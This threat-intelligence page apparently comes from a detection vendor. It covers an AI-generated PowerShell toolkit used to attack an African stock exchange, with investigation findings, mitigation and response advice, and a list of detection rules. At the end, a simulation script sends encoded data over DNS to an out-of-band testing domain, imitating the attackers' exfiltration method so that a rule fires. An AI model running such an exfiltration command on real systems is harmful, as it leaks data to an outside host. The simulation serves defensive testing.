Got Incident? Investigate 60 million events < 1 minute

LogTotal for Incident Response, Complete Enterprise Platform Access is Live

Buy 7-day IR Retainer Pass for $799

SOC Prime Bias: High

24 Nov 2026 12:34 UTC

AI-Powered Attack Targets Leading African Stock Exchange

Author Photo
SOC Prime Team linkedin icon Follow
AI-Powered Attack Targets Leading African Stock Exchange
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

An unidentified threat actor deployed a 41-module PowerShell toolkit, believed to be AI-generated, against an African stock exchange. The toolkit conducted rapid automated reconnaissance and credential testing across financial APIs and cloud infrastructure. The activity was notable for its machine-speed execution and a distinctive DNS exfiltration method using hex-encoded queries.

Investigation

Symantec’s Threat Hunter Team discovered the toolkit executing through a web shell on an IIS server and observed identical code scaffolding across all 41 modules. Investigators also linked six persistence implants on the same server to the China-linked Witchetty group with high confidence. The investigation identified use of a public out-of-band testing service to support DNS-based data exfiltration.

Mitigation

Organizations should closely monitor unusual PowerShell activity and high-speed execution of multiple modules. Hardening IIS servers and detecting web shell indicators are critical defensive measures. Security teams should also implement DNS filtering and monitor for frequent hex-encoded DNS queries that may indicate unconventional data exfiltration activity.

Response

When malicious activity is detected, isolate the affected IIS server and review recent web shell activity. Audit all service accounts, API keys, and bearer tokens accessible within the environment. Conduct detailed forensic analysis of PowerShell logging and DNS telemetry to determine the full scope of reconnaissance, credential access, and data exfiltration.

Attack Flow

Detections

Suspicious Powershell Strings (via powershell)

SOC Prime Team
20 Nov 2026

Suspicious Command and Control by Request to Out-of-Band Interactions Domain (via dns)

SOC Prime Team
20 Nov 2026

IOCs (HashSha256) to detect: Major African Stock Exchange Targeted in AI-Assisted Attack Part 2

SOC Prime AI Rules
20 Nov 2026

IOCs (HashSha256) to detect: Major African Stock Exchange Targeted in AI-Assisted Attack Part 1

SOC Prime AI Rules
20 Nov 2026

AI-Generated PowerShell Toolkit Targeting African Stock Exchange [Windows Powershell]

SOC Prime AI Rules
20 Nov 2026

Simulation Execution

  • Attack Narrative & Commands: The adversary utilizes an AI-generated PowerShell toolkit to exfiltrate sensitive credentials discovered on the network. To bypass traditional network monitoring, the toolkit encodes data into hex format and exfiltrates it via DNS lookups to a specific OAST (Out-of-Band Application Security Testing) domain. The script uses a specific variable name spid1 and a unique byte-conversion method to assemble the payload, specifically designed to blend into legitimate administrative traffic while effectively leaking data via net.dns calls.

  • Regression Test Script:

    # Simulation of the AI-Generated PowerShell Toolkit
    # This script is designed to trigger the specific detection rule conditions
    
    $a = "SensitiveData"
    $spid1 = "Exfil_Start"
    
    # Condition 3: The specific encoding pattern and variable name 'spid1'
    $encoded = -join ([Text.Encoding]::UTF8.GetBytes($a))
    
    # Condition 1 & 2: Use of the specific OAST domain, net.dns, and Out-Null
    # We simulate the command line execution pattern expected by the rule
    $targetDomain = "wmi1.danoam334iqjo0ap2scg6ofosjxfgqhsa.oast.pro"
    
    Write-Host "Simulating exfiltration to $targetDomain..."
    
    # This line is constructed to match all three 'selection' criteria in the Sigma rule
    powershell.exe -Command "Resolve-DnsName -Name $encoded.net.dns -Server $targetDomain | Out-Null"
  • Cleanup Commands:

    # No permanent changes are made by this simulation. 
    # Simply clear the console.
    Clear-Host